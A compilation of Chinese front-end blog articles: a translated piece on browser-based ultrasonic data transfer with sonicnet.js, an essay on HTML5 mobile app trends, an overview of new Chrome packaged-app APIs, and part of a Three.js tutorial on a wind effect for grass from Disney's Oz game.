基于HTML5的Web跨设备超声波通信方案

最后更新于:2022-04-01 19:45:19

      前言:Chirp在iPhone上掀起了有声传输文件的序幕,我们再也不需要彩信、蓝牙配对、IM来传送数据。它通过“叽叽喳喳”的小鸟叫声来分享数据,简单有趣,而且可以快速的实现一对多的分享。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5acb9eb.jpg)       此外支付宝曾经试推过“声波支付”,利用手机发送超声波至终端作为交易密码进一步完成交易。然而支付宝的技术目前只是使用在了支付上,而需要可接受声波支付的特定售货机方可使用。       《[Advanced Sound for Games and Interactive Apps - WebAudio API](http://pan.baidu.com/share/link?shareid=204963&uk=2786112690&fid=1756824361)》的作者Boris Smus用HTML5的Web Audio API实现了一个基于Web的超声波互联方案,通过这种方式不需要安装任何客户端,也不需要蓝牙或者NFC的支持,就能够将两台用浏览器上网的设备连接到一起并传递图片、音乐、视频等文件。这个idea很酷,帮助我们在Web的功能和应用层面迈进了一大步(这种想法也许你都想所未想,闻所未闻),下面我们就一起来看看具体的原理和实现过程。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5ae02ee.jpg) ……………………………………✄……………………………………华丽的分隔线       你口袋里的手机是一个酷炫的、美观的、有很多功能的工具。但是当它想要和其它设备对话时,例如电视或者笔记本,用户体验就大幅下降。Bill Buxton关于这个主题有一个极富感染力的[演讲](http://www.youtube.com/watch?v=ZQJIwjlaPCQ&feature=youtu.be&t=21m00),描述了高科技演化的三个阶段:       1、设备工作:功能的完整性和稳定性       2、 设备流畅:良好的用户体验       3、 许多设备在一起工作       我们已经随着iPhone的发布,正式的进入了第2个阶段,但是连接设备是一件让人痛苦的事情。有许多方法来实现这一点:蓝牙、蓝牙LE、WiFi直连、通过本地WiFi网络发现等等。这篇文章通过一个完全让人意想不到的角度来解决这个问题:利用超声波来广播和在相邻设备间发送数据。最重要的是,这种方法采用Web Audio API,使得纯Web应用的连接成为可能。 [![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5b0050c.jpg)](http://v.youku.com/v_show/id_XNTk0MjQyNDMy.html) **[演示视频](http://v.youku.com/v_show/id_XNTk0MjQyNDMy.html)**       **设备的通天塔**       [Airplay](http://www.apple.com/airplay/) 和 [Chromecast](http://www.google.com/chromecast)是解决同一生态系统(例如苹果或谷歌)内设备连接问题的伟大方法 ,但是普遍问题仍然难以得到解决。       因为有许多可能的技术途径,所以可能碰巧你要连接的设备间没有共同的方法。即便两个设备都有蓝牙,其中一个或许需要配置,但是另外一个却不支持,或者是支持不同版本的标准。现在这对于蓝牙来说尤其普遍,许多设备硬件上支持蓝牙4.0(又名BTLE),但是很多设备却因为各种原因不支持这个最新的协议。       在Web上这种情况甚至更糟,因为低级别设备的连接API因为安全沙盒方面的原因并没有提供。而由于Web的发展非常慢,所以很难想像这种情况能够在短时间内得到解决。       **通过有趣的方式传输数据**       [Electric Imp提供的](http://www.youtube.com/watch?v=sVWlQNzU4Ak)Blinkup是一种跨端通信的有趣方式。它使用了一系列闪光来在智能手机和Imp – 一种形似小型SD卡并带有光线传感器的设备间传输数据。       拨号调制解调器做了类似的事情。它们在模拟电话线上编码和解码数字数据。还记得那些烦人的连接噪音吗?拨号调制解调器会打开扬声器来让用户了解正在进行握手。如果你忘记了这些,可以在这儿[复习](http://www.windytan.com/2012/11/the-sound-of-dialup-pictured.html)一下。即使在今天的模拟电话里,你在键盘上按下数字键时听到的声音也相当于电话系统用于模拟数字转换的频率。这个转换使用了[双音多频信号(](http://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling)DTMF)。       你的手机和周围的其它很多设备都有扬声器和麦克风。这两种硬件可以用声音来发送和接收数据,类似于调制解调器在电话线路上所做的事情。更妙的是,如果操作系统支持发送和接收的频率足够高,我们可以创建一个无声的数据通道。       **用声音传输数据**       我应该注意到通过声音编码数据并不新颖。[音频水印](http://en.wikipedia.org/wiki/Audio_watermark)的创意就是把签名编码到音乐中,听众通过人类的方式并无法识别,但是却能够被另外一台设备所理解。这是一种防止盗版的聪明方式。       大多数普通的扬声器能够产生44.1KHz采样率的声音(这导致最高的频率为22KHz - 根据[香农采样定理](http://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem))。这让我们将数据不仅编码为声音,还会产生成人无法听到的音频。不过儿童和动物仍然有可能会听到:)       技术上需要注意的是,麦克风有时候与扬声器并不兼容,尤其是在手机上,因为它们经常会针对人们的通话进行优化,通过更低的采样率来让声音效果更佳。在另外一些情况下,即便硬件兼容,固件也需要运行在低采样率上来保证电量供应。如果是这样的话,设备将无法接收声波,同时基于声音的连接将只能单向进行。       **SONICNET.JS,一个Web Audio的实现**       为了说明这些概念,我搭建了一个[JavaScript库](https://github.com/borismus/sonicnet.js),用于通过声音发送和接收数据。我的做法没有学习复杂的音频水印技术,甚至比DTMF更为简便。基本上,你可以指定使用一个范围的频率,以及可以传送的字母集合。频谱被分成对应于所指定开始和结束字母之间的范围,每个字母/代码对应整个频率范围内的一部分。       发送端将需要发送的每个字符转换为对应频率范围的中点值,并且在一个时间间隔内发送该频率。接收端会对信号进行不连续的傅立叶变换(宇捷注:我的本科专业就是信息与通信工程,学过数字信号处理的朋友应该对此非常了解),并且寻找指定频率范围内的峰值。在找到一个信号间隔内的峰值后,它会将频率转换回字符。这基本上是一个[单音多频信号(](http://en.wikipedia.org/wiki/Selective_calling#Tone_burst_or_single_tone)STMF)的方案。       有一个发送时机的问题:在发送端,应该多长时间发送一个字符;在接收端,应该多长时间接收?我们用了一个简单的方案来规避相邻的重复字符。       我设计了一个类似于socket的API用于声波通信。客户端代码看起来如下所示: ~~~ ssocket = new SonicSocket({alphabet: '0123456789'}); function onButton() { ssocket.send('31415'); } ~~~       服务端看起来像这样: ~~~ sserver = new SonicServer({alphabet: '0123456789'}); sserver.on('message', function(message) { //Expect message to be '31415'. console.log(message); }); sserver.start(); ~~~       JS库支持[github](https://github.com/borismus/sonicnet.js/tree/master/lib)。       当然,使用它需要一个Web Audio的实现(大多数在发送端使用OscillatorNode ,在接收端用AnalyserNode )。我已经尝试过Macbook上Chrome到Chrome,以及Mac Chrome到Android Chrome的传输案例。       我写了一对示例来说明这个想法。它们出现在本文开头所演示的[视频](http://www.youtube.com/watch?v=w6lRq5spQmc)里。第一个示例让你可以从一台设备上发送表情到另外一台。它使用了一个很小的字符集,仅仅包括6个字符,每个对应1种表情。你可以从6种表情中挑选一个,对应的字符将会通过声波网络发送出去,在另一端被接收和展示出来。       一种对sonicnet.js更为现实的应用是这个[聊天应用](http://borismus.github.io/sonicnet.js/chat-pair),生成不重复的5位数令牌并且用它来在2台设备间创建连接。这在配对服务器的帮助下完成,在这两台设备间通过WebSocket来建立代理连接。一旦连接建立后,对话本身将通过WebSocket发送。[服务端代码](https://github.com/borismus/sonicnet.js/tree/master/server)托管在[nodejitsu](https://www.nodejitsu.com/)上。       **结论和期望**       Web Audio API已经可以演变到让这样的应用成为可能,这是重大的进步。我迷上了sonicnet.js物联网上的实现。这是纯Web技术,可以用来对设备进行配对。无处不在的浏览器和音频硬件相结合将会是一个巨大的胜利,甚至在硬件层面,Web平台完全不需要等待蓝牙或其它近场连接技术的成熟。       如果这篇文章已经激起了你的兴趣,你可以尝试使用sonicnet.js来编写一个应用。就像我前文提到的一样,接收高频音频因为硬件/固件限制并不是在所有的设备上都可用,所以我很想知道哪些可用,而哪些不可以。我的期望是,大多数手机应该只能发送,而大多数笔记本可以同时接收和发送。如果你在你的设备上尝试了[表情演示](http://borismus.github.io/sonicnet.js/emoticons),请填写这份[表格](https://docs.google.com/forms/d/1dAgNdVdhss-QR-Owm556RZch-MV_ntnAMP8_ZJi5XLA/viewform)。在写这篇文章的时候,Android平台上Chrome Beta版本并不支持[实时输入](http://crbug.com/242894),所以从手机传输数据到笔记本是唯一的选择。 相关链接: 1、[《Web Audio API》阅读](http://pan.baidu.com/share/link?shareid=204963&uk=2786112690&fid=1756824361)       2、[《Web Audio API》所附演示](http://webaudioapi.com/samples/) 译自:[sums的博客](http://smus.com/ultrasonic-networking/) 译者:[蒋宇捷](http://blog.csdn.net/hfahe) 转载请注明
';

从HTML5移动应用现状谈发展趋势

最后更新于:2022-04-01 19:45:16

作者注:此文章原为2013年5月的《程序员》杂志所做,现刊登于此,以飨读者。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5a0fe5d.jpg) **从HTML5移动应用现状谈发展趋势**       时光如梭,自2008年HTML5诞生以来已经过去了5年的时间,作为新一代的Web标准,它自问世以来就受到方方面面的强烈关注,也引起了许多争议,支持者因其开放强大的特点而鼓吹它的美好前景,质疑者因其迟迟不能很好落地而怀疑它的实际作用。现在我们从现状入手,以提问的方式针对HTML5在移动平台的发展趋势做一个剖析,使得大家能够从纷繁复杂的信息中对HTML5的未来有更清晰的了解和认识。       **针对移动平台,采用HTML5开发Web App(或者Hybrid App)有哪些优势?**       使用HTML5开发的页面更具有现代网页的特性:界面华丽、人机交互出色、功能强大,现在我们已经很难单纯用传统的表现方式满足用户多种多样的需求,实现时也很难将HTML5与之前的版本割裂开来,所以我们可以认为在移动平台上绝大部分的现代Web App(或者Hybrid App)都将会采用HTML5开发。那么这样做究竟有哪些好处呢?       跨平台:一次开发,到处使用,不需要考虑兼容性。这可以极大减少跨平台开发人员数量和成本。如果反过来思考,现在移动平台日新月异,除了Android和iOS两强独大,还有Windows Phone、Blackberry、Bada等多个系统参与竞争,各自覆盖一部分用户,而一个应用要想覆盖这么多的平台,除了采用Web App的方式,几乎不可能解决这个现实的问题。       云端升级:在移动开发中最痛苦的是每次发布。发布时需要涉及多个应用商店和渠道,另外还要非常的谨慎。如果出现重大bug或者质量问题,通过新版本修复是极其麻烦的事情,在这个过程中苹果App Store的审核期也让很多开发者非常头疼。而云端升级可以一次性覆盖所有用户,不需要用户手动升级和安装;有任何问题可以随时及时修复,不需要经过应用商店和用户手动更新,大大减少了风险和工作量。       与云计算平台结合,解决移动设备运算能力有限的问题:如果将Web App存放在云端的服务器上,可以很好的利用云计算平台强大的服务器和运算资源,完成很多受移动设备硬件能力限制难以完成的复杂工作。       能够更好的被搜索引擎索引和检索,并形成可量化的大数据:Native形式本身是封闭的,封闭、无序的数据对于信息流动来说是一种阻碍,很容易造成信息孤岛;Web本身的精神就是开放,同时HTML5提供的语义化标签能够更好的被识别和组织。如果我们能够通过Web App获取更多开放的信息与数据结构,才能更好的迎接和拥抱大数据时代。       人才储备巨大:传统的Web工程师都是潜在的HTML5工程师,转型相对来说更为容易。       绕过严苛的应用商店:应用商店对于应用过于严格的控制是一把双刃剑,对于许多开发者和应用开发商来说Web App的形式是绕过传统手机应用商店模式的最佳途径。       **HTML5发展的现状如何?**       1、HTML5标准进度       W3C规范在成为正式标准前通常需要历经5个阶段:工作草案(Working Draft)、最后修订(Last Call)、候选推荐(Candidate Recommendation)、建议推荐(Proposed Recommendation)和推荐(Recommendation)。       2012年12月17日,W3C宣布HTML5规范制定完成并发布了HTML5候选推荐规范,这代表HTML5规范已经稳定,今后只会对漏洞进行修正,企业和开发者有了稳定的实施目标,可以开展试验性实施。W3C将会开始致力于HTML5标准化的互用性测试和性能优化,并预计到2014年底发布HTML5推荐规范。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5a2f214.jpg) 截至目前的HTML5标准进度       W3C计划把后继的技术升级汇总到2016年底发布的HTML 5.1中,例如改进视频字幕、响应式图片、更好的表单支持、新一代的iFrame等。这种类似于迭代开发的方式让HTML5可以更快更好的落地,而不会无限期的推迟。       总结一下,HTML5标准的进度是规范已完成,正在逐步成熟和落地。       2、移动浏览器支持情况       和桌面端IE占有率持续下跌、Chrome迅速崛起的现状不同,移动平台的主流浏览器包括Safari、Android Browser、Opera Mobile、Chrome都较好的支持HTML5,同时它们的份额还在不断扩大。主流移动浏览器的支持让HTML5的平台更加普及,同时对HTML5的良好支持也让这些浏览器获得了更多用户的选择。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5a41e2e.jpg) 移动浏览器对HTML5的支持情况(来源:[http://caniuse.com](http://caniuse.com/))       移动设备上HTML5访问系统硬件的能力还在落地中,同时移动浏览器对于基本HTML5标准的支持不是大问题,但是性能和速度还有待提高。用户移动设备和移动平台硬件的快速更新会解决一部分问题,例如2011年到2013年我就曾经使用过单核528M频率的G8、单核1G的Nexus One、双核1.2G的Galaxy SII,现在则是4核1.6G的NoteII。       3、各种开源或收费的框架、工具和平台如雨后春笋般不断出现和完善       除了老牌的Sencha Touch、jQuery Mobile、PhoneGap、LungoJS外,还出现了例如像EaselJS、Construct2、GameMaker、limeJS、Impact、Crafty、Cocos2d-html5等游戏开发引擎或工具,GroundworkCSS、Skeleton、Gumby、Wirefy、Base等响应式设计框架,以及大量工具平台。需求是拉动技术进步的催化剂,大量工具的涌现证明了在HTML5开发方面有强烈需求的存在。       而大公司也纷纷推出各种HTML5工具和平台,例如百度的Web App平台西米露、Opera的游戏引擎Sphinx、Firefox的HTML5根平台Firefox OS、Intel的应用移植工具App Porter、任天堂的应用开发框架NintendoWeb Framework等等。而Adobe在放弃移动端Flash的情况下,迅速发布了一系列HTML5开发工具,其中包括HTML5动画制作工具Adobe Edge Animate和类似于Flash编辑器的可视化HTML5响应式设计工具Adobe Edge Reflow。       总体来看,HTML5工具和框架在经历了摸索的阶段后,正在逐步成熟和完善,有望进一步普及。       3、开发者继续保持很高的开发意愿       根据HTML5开发框架Kendo UI的调查显示,73%的受访者仍然对HTML5充满信心,超过94%的受访者正在或者将要使用HTML5来进行应用的开发,Appcelerator的相关调查也得出了相似的结论。同时国内的HTML5社区仍然保持很高的人气和关注度,社区活动也非常活跃。       4、应用发展情况       不知不觉中,HTML5正在大量进入我们的实际生活。其中一种应用方式是传统桌面网站的移动化,例如百度地图WAP版就使用了地理定位API和大量HTML5新特性,其它有代表性的应用还包括YouTube、新浪微博、携程、淘宝等等。       第二种应用的场景是纯移动Web App,例如记账应用DailyCost、天气应用Sun、阅读应用美阅等等,它们和Native App非常相似,在性能和体验上都有很好的表现。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5a59a1f.jpg) 记账应用DailyCost风格简单大方       还有一种方式是在Hybrid App里使用HTML5技术,现在许多应用都通过内置WebView来展示内容,例如下面要提到的LinkedIniPad版。       而目前HTML5在移动平台上落地的实际阻碍都有哪些?       1、性能       HTML5的性能已经是老生常谈的问题了。问题的因素有多个,包括硬件、浏览器以及实现方式。硬件会随着移动设备的快速更新而得到改进,甚至在硬件层面,设备有可能针对HTML5进行特殊的支持。浏览器的性能在不断改进中,而应用的实现方式取决于开发者的编程模型和技能,这一部分是可以随着工具、框架的进步和开发水平提升而改进的。       2、移动设备的碎片化、浏览器的分裂       不同设备、不同浏览器对于HTML5的支持程度是不一致的,另外不同的手机分辨率也给WebApp的开发带来了挑战。       业界对于第一个问题的解决方案是优雅降级,而第二个问题就需要采用响应式设计(Responsive Design)。响应式设计让我们应对设备碎片化有了更灵活的方式,而且它不仅仅只包括CSS3 Media Queries技术的应用,还包括响应式图片(ResponsiveImages)、响应式视频等多种技术,我们更应该将其视作一整套的现代网页设计方式。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5a6cb6b.jpg) 响应式设计是解决移动设备碎片化问题的基石       3、缺少统一实现标准       某种程度上,当前阻碍HTML5迅速普及的最主要问题不是技术实现方式和方法少,也不是性能差,而是太分裂、缺少统一的实现标准。       例如,Sench Touch、jQuery Mobile、limeJS、Kendo UI、Impact,以及easeljs、GameMaker、Construct2,你能搞清楚它们的特点、都有哪些不同的适用场景以及各自的优劣吗?       而像Google和Apple为Android、iOS平台各自提供了一套标准的开发工具和框架,帮助开发者只需要专注在实现上,就能够快速高效的开发出最终产品。而HTML5太开放所带来的结果就是没有统一的实现方式和标准,这一方面导致开发者需要经历选型的痛苦,另一方面不能保证其实现的正确性和高效性。       W3C更多只关注标准,不过它们也在针对HTML5的表现和性能进行测试,而从标准到技术到应用有距离,是现实存在的问题,这个过程需要一段时间来完善和改进。       4、用户习惯         用户在移动设备上目前大多数时候习惯于通过单个App来满足需求,所以标准的Web App对用户来说认知度不如Native App。但是用户习惯是逐渐培养出来的,当Web App的性能、表现和易用性上逼近或者等同于Native App的时候,用户会有一个逐步认知,逐步向Web App迁移的过程。       **针对HTML5移动平台,开发的最佳实践有哪些?**       1、开发者应当意识到,在移动端,HTML5应用有适合它的特别的表现方式,而不应专注和原生应用做的完全一致。这才能发挥出HTML5的优势和避免陷入无尽的痛苦。事实上如果要开发与原生应用性能相当的HTML5应用,所投入的精力、测试和资源远远超过原生应用。       这一方面比较有代表性要数Linkedin iPad版,它95%以上都采用HTML5开发,性能和界面都非常优秀,而为了保证良好的性能体验,设计时特意去掉了许多不必要的设计元素,例如所有的渐变背景和圆角,因为这会造成渲染性能降低。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5a80ced.jpg) LinkedIn iPad版是有代表性的HTML5应用之一       2、有针对性的根据HTML5的特性对应用进行设计。HTML5有它的适用场景,不是放之四海而皆准,虽然这个场景正在变得越来越广阔和丰富。Web App不会完全取代Native App,Native App也不会战胜Web App。共生共赢,各擅胜场,它们有各自适合的场景和用途,会逐渐并存下去。所以我们需要做的是不要用Native App的思维来设计Web App,而应该着力于发挥HTML5的长处,做出特色。       以百度相册iPad版为例来进行说明,除了保证良好的流畅性和交互外,我们还通过HTML5尝试了许多有趣和酷炫的创新功能。其中包括:       1)利用传感器来展示图片的移动和渐变效果:当iPad水平倾斜的时候,封面图片会向同样角度的慢慢移动,通过视差展现出一种美轮美奂的效果。       2)支持图片手势操作:用过iPad的朋友都对相册方便快捷的手势操作赞不绝口。而由于HTML5对于手势的支持也已经比较完善,所以这次我们在百度相册iPad版本里尝试添加了对绝大多数手势的支持来贴近用户习惯和方便用户操作,例如展开相册、关闭单张图片、旋转图片等等。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5a98c23.jpg) 百度相册iPad版尝试了多种HTML5创新功能       3、开发者覆盖全平台的最佳实践是OnePlatform+ HTML5,即关键平台(可以是Android,也可以是iOS)采用Native App,而剩下的所有平台采用HTML5的Web App来适配。考虑到成本和效率问题,这种方式会变得越来越普遍。       **移动App产业化趋势越来越明显,那么HTML5发展的趋势和所带来的机会会有哪些呢?**       1、桌面端IE逐步衰落,支持HTML5的现代浏览器逐步占领市场已经是显而易见的事情。而移动平台更为乐观,据估计2013年用户对于智能终端更新换代的比例会在50%以上,设备的迅猛更新会让支持HTML5的现代浏览器轻松获取80%以上的市场份额。       2、2012年HTML5已经正式发布,标准趋于稳定,2013年标准会更成熟,更加便于普及和应用。HTML5规范将逐步落地,随着WebGL、Device API的成熟,HTML5能实现的界面效果和功能会更加广阔。当基于HTML5的移动App性能和表现上非常趋近于Native App,而且有成熟的开发标准时,会出现一个App大量向HTML5迁移的浪潮,导致的结果是用户也大量向HTML5应用转移。       同时目前智能终端美国和中国的渗透率在50%以上,随着它们的逐渐普及,会出现一波应用从桌面端向移动端迁移的过程,而在这个过程中,HTML5将会成为很大一部分应用的技术选择。       HTML5应用大量的出现会导致移动端有可能诞生HTML5应用的showcase,极有可能产生类似于韩国Anipang这样的成功游戏应用。       **3、基于HTML5的手机网页游戏、资讯新闻类应用将会蓬勃发展。**       现在,桌面端的HTML5游戏已经出现了像Disney的魔境仙踪游戏《Find Your Way to OZ》、EA的《命令与征服》、Rocket Pack的《Warimals:Cats vs. Dogs》等优秀作品,那么在移动平台上呢?       韩国Kakao Talk和日本Line平台在移动游戏方面已经取得了初步的成功,中国移动游戏的发展趋势将和韩国非常类似,会出现一个迅猛增长的态势。而游戏在桌面端的发展历程是从单机桌面客户端、联网桌面客户端再到网页游戏,因为网页游戏迎合了当今用户时间碎片化和追求简单易上手的需求,而移动平台上随时随地的碎片化时间正好切合网页游戏的特质,所以HTML5手机网页游戏有可能出现爆发性增长的态势,尤其是在微信平台上,目前可以看到许多大公司和创业公司都在进行这方面的努力。       另外一类有代表性的资讯新闻类应用重在内容,而处理内容正是Web的专长,而更自由的分发形式、更便捷的搜索引擎检索、更广泛的跨端需求是这类应用的最大需求。现在国外《金融时报》、《纽约时报》等传统媒体都已经尝试用HTML5的方式来分发移动应用。       4、HTML5生态链上相关平台和工具的缺乏是潜在的机会,例如安全、测试、开发、系统等多个方面。       HTML5移动应用产业链上的必需品包括两类:平台类产品,例如统计平台、支付平台、广告平台、游戏引擎等;以及基本以开源和免费为主的工具类产品。这一方面大公司、创业公司以及个人开发者都在开始尝试。       5、企业移动化这个方向对于HTML5来说也有很大潜力。对企业级应用来说,用户体验和用户界面要求不像消费类应用那么高,例如丰富多彩的产品界面、快速流畅的滑动体验、千变万化的手势操作,所以更适于发挥HTML5的长处而避免其劣势。       例如,Path、FlipBoard、iPhoto这样界面华丽、动画绚丽的应用其实在企业级来说并没有太多的实际意义,也不会要求性能像切水果、Real Racing那样流畅和支持多点触摸。在桌面端,传统的OA已经可以很好的满足企业的需求,而在移动端,企业更关注的是服务的稳定性以及随时随地办公的便捷性。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5aaff37.jpg) 企业应用不需要像Real Racing这样界面华丽、体现苹果新特性       原创文章,转载请标明出处:[蒋宇捷的专栏](http://blog.csdn.net/hfahe)(http://blog.csdn.net/hfahe)
';

趋势:Chrome为打包应用提供强大新特性

最后更新于:2022-04-01 19:45:14

      Chrome 7月9日刚为Chrome打包的应用提供了强大的访问Google服务例如Google统计、GoogleAPI和Google 钱包的能力,除此之外,还能够使用系统层面的服务包括蓝牙和原生应用通信。       打包应用可以在Mac、Linux和Windows上脱离Chrome浏览器独立运行。可以把它们看做用传统Web技术例如HTML、CSS和JS开发的单机应用,同时它们看起来和用起来也很像本地应用。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa59b9782.jpg)       为什么这些新特性非常重要?Chrome正在越来越快的成为自平台,浏览器不再只是浏览器:这不仅体现了Chrome朝桌面平台方向努力的决心,还体现了Google通过提供桌面应用的体验来获取用户黏性和数据的长远战略。       以下是这些API的具体细节。       **Identity API(认证API)**       [Identity API](http://developer.chrome.com/trunk/apps/app_identity.html)允许打包应用在用户不提供用户名和密码的情况下使用OAuth 2.0来认证用户。认证API支持Google帐号以及第三方的GitHub、Foursquare等帐号。       认证API还赋予打包应用安全访问Google APIs的能力,例如Google+、日历和Drive。比方说,[Google Keep](https://chrome.google.com/webstore/detail/google-keep/hmjkmjkepdijhoojdojkdfohbdgmmhki?hl=en)使用认证API来验证用户然后调用Google Drive API来把笔记存储在Drive云存储上。认证API使用基于webview的界面来展示OAuth授权对话框,并且当Google+ API会话存在时,它允许用户控制谁能够看到他们在这个应用内的活动。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa59d3941.jpg)       **应用内支付API**       [应用类支付API](http://developer.chrome.com/trunk/apps/in_app_payments.html)允许打包应用开发者在应用内售卖数字和虚拟物品。这个API构建于[Google钱包的数字物品平台](https://developers.google.com/commerce/wallet/digital/docs/)之上,并为买家提供了简单的用户界面。在一次付费交易之外,这个API还支持基于订阅的交易。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa59e8cd6.jpg)       **统计API**       [统计API](https://github.com/GoogleChrome/chrome-platform-analytics/wiki)让打包应用开发者从应用中收集用户行为更为容易。开发者稍后可以使用Google统计的报表来了解访问用户量、指定功能的访问量和其它有用的数据。       **增强媒体库API**       [媒体库API](http://developer.chrome.com/apps/mediaGalleries.html)允许打包应用经过用户同意后从本地磁盘中读取媒体文件(例如音乐、视频和图像)。这个版本发布后,用户的iTunes曲库也可以作为默认的媒体库,允许应用导入和播放本地存储的音乐。       **蓝牙API**       [蓝牙API](http://developer.chrome.com/trunk/apps/bluetooth.html)基于4.0规范,允许打包应用连接到麦克风和耳机等蓝牙设备。它的低能耗支持模式允许Chrome打包应用从运动记录仪和心率传感器等低能耗健康设备中自动同步数据。       **本地消息API**       [本地消息API](https://developer.chrome.com/dev/extensions/messaging.html#native-messaging)允许Chrome打包应用和本地应用进行通讯。这样打包应用能够和本地设备例如运动传感器或者扫描仪进行二进制数据的通信。
';

如何开发优秀的HTML5游戏?-迪斯尼《寻找奥兹之路》游戏技术详解(二)

最后更新于:2022-04-01 19:45:12

      (接[上文](http://blog.csdn.net/hfahe/article/details/8942138))桌面游戏通常创建于一个核心的物理引擎。因此,要在3D世界中模拟一个柔软的物体,需要一个完整的物理模拟器,并且建立一种可信的行为。       WebGL和JavaScript还不能奢华到可以运行一个完全成熟的物理模拟器。因此,在这个游戏中我们必须找到一种方式来创建风的效果。       我们在3D模型中为每一个对象嵌入“风敏度”的信息。3D模型的每个顶点有一个“风属性”,指定顶点应该要受到风速多大程度的影响。所以,这指定了3D物体的风敏度。然后,我们需要创建“风”本身。       我们通过创建包含[Perlin噪声](http://en.wikipedia.org/wiki/Perlin_noise)的图像来实现。此图片意在覆盖一块确定区域的风。所以,一个考虑它的好方法是,想象3D场景中一个特定矩形区域中像噪音一样覆盖一个画面的云。这幅图片每个像素的灰度值指定在一个特定的时刻3D区域中风力有多强。       为了创建风的效果,图像以恒定的速度和特定的方向即风的方向移动。并且为了确保“风的区域”不会影响场景中的任何内容,我们将风的图像环绕边界,限制于效果的区域内。       **一个风的简单3D教程**       现在,让我们通过Three.js在简单的3D场景创建一个风的效果。       我们将在一个简单的“程序草地”中创建风。       首先,让我们创建场景。我们将有一个简单的、质感平坦的地面。然后每一根草将简单地用倒立的圆锥展现。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa598b3ca.jpg) 布满小草的地面       下面是如何在[Thress.js](http://mrdoob.github.com/three.js/)中用[CoffeeScript](http://coffeescript.org/)创建这个简单的场景。       首先我们要设置Three.js,并把它与摄像头、鼠标,以及一些灯光结合在一起: ~~~ constructor: -> @clock = new THREE.Clock() @container = document.createElement( 'div' ); document.body.appendChild( @container ); @renderer = new THREE.WebGLRenderer(); @renderer.setSize( window.innerWidth, window.innerHeight ); @renderer.setClearColorHex( 0x808080, 1 ) @container.appendChild(@renderer.domElement); @camera = new THREE.PerspectiveCamera( 50, window.innerWidth / window.innerHeight, 1, 5000 ); @camera.position.x = 5; @camera.position.y = 10; @camera.position.z = 40; @controls = new THREE.OrbitControls( @camera, @renderer.domElement ); @controls.enabled = true @scene = new THREE.Scene(); @scene.add( new THREE.AmbientLight 0xFFFFFF ) directional = new THREE.DirectionalLight 0xFFFFFF directional.position.set( 10,10,10) @scene.add( directional ) # Demo data @grassTex = THREE.ImageUtils.loadTexture("textures/grass.png"); @initGrass() @initTerrain() # Stats @stats = new Stats(); @stats.domElement.style.position = 'absolute'; @stats.domElement.style.top = '0px'; @container.appendChild( @stats.domElement ); window.addEventListener( 'resize', @onWindowResize, false ); @animate() ~~~       initGrass和initTerrain函数调用分别用小草和地面填充场景: ~~~ initGrass:-> mat = new THREE.MeshPhongMaterial( { map: @grassTex } ) NUM = 15 for i in [0..NUM] by 1 for j in [0..NUM] by 1 x = ((i/NUM) - 0.5) * 50 + THREE.Math.randFloat(-1,1) y = ((j/NUM) - 0.5) * 50 + THREE.Math.randFloat(-1,1) @scene.add( @instanceGrass( x, 2.5, y, 5.0, mat ) ) instanceGrass:(x,y,z,height,mat)-> geometry = new THREE.CylinderGeometry( 0.9, 0.0, height, 3, 5 ) mesh = new THREE.Mesh( geometry, mat ) mesh.position.set( x, y, z ) return mesh ~~~       在此我们创建了一个格子,由15*15的小草组成。我们添加了一个随机数到每根小草的位置,让它们不会因为排列的太整齐而有些古怪。       此地形仅仅是一个水平面,放置在这些小草的根部(Y = 2.5)。 ~~~ initTerrain:-> @plane = new THREE.Mesh( new THREE.PlaneGeometry(60, 60, 2, 2), new THREE.MeshPhongMaterial({ map: @grassTex })) @plane.rotation.x = -Math.PI/2 @scene.add( @plane ) ~~~       所以到目前为止,我们所做的只是简单地创建了一个Three.js场景,并且添加了一些小草,由程序生成的倒立圆锥创建,以及一个简单的地面。       到目前为止没有任何特别之处。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa599ef83.jpg) [演示页面](http://www.html5rocks.com/static/demos/oz/tutorials/wind1/index.html)       你可以在[这里](http://www.html5rocks.com/static/demos/oz/assets/wind_1.zip)下载这个示例的代码。       现在是添加风的时候了。第一件事,我们希望把风敏度信息嵌入到草的3D模型中。       我们要把此信息以自定义属性嵌入到小草3D模型的每个顶点中。我们将要使用的规则是:每个小草模型的底部(圆锥体的顶)具有的风敏度为0,因为它贴在地面上。小草模型(圆锥体的底部)的顶部具有最大的风敏度,因为它远离地面。       下面是如何重写instanceGrass函数来为小草的3D模型添加风敏度作为自定义参数。 ~~~ instanceGrass:(x,y,z,height)-> geometry = new THREE.CylinderGeometry( 0.9, 0.0, height, 3, 5 ) for i in [0..geometry.vertices.length-1] by 1 v = geometry.vertices[i] r = (v.y / height) + 0.5 @windMaterial.attributes.windFactor.value[i] = r * r * r # Create mesh mesh = new THREE.Mesh( geometry, @windMaterial ) mesh.position.set( x, y, z ) return mesh ~~~       (待续)       译自:[http://www.html5rocks.com/en/tutorials/casestudies/oz/](http://www.html5rocks.com/en/tutorials/casestudies/oz/)       转载请注明:来自蒋宇捷的博客(http://blog.csdn.net/hfahe)       相关文章:《[如何开发优秀的HTML5游戏?-迪斯尼《寻找奥兹之路》游戏技术详解(一)](http://blog.csdn.net/hfahe/article/details/8942138)》
';

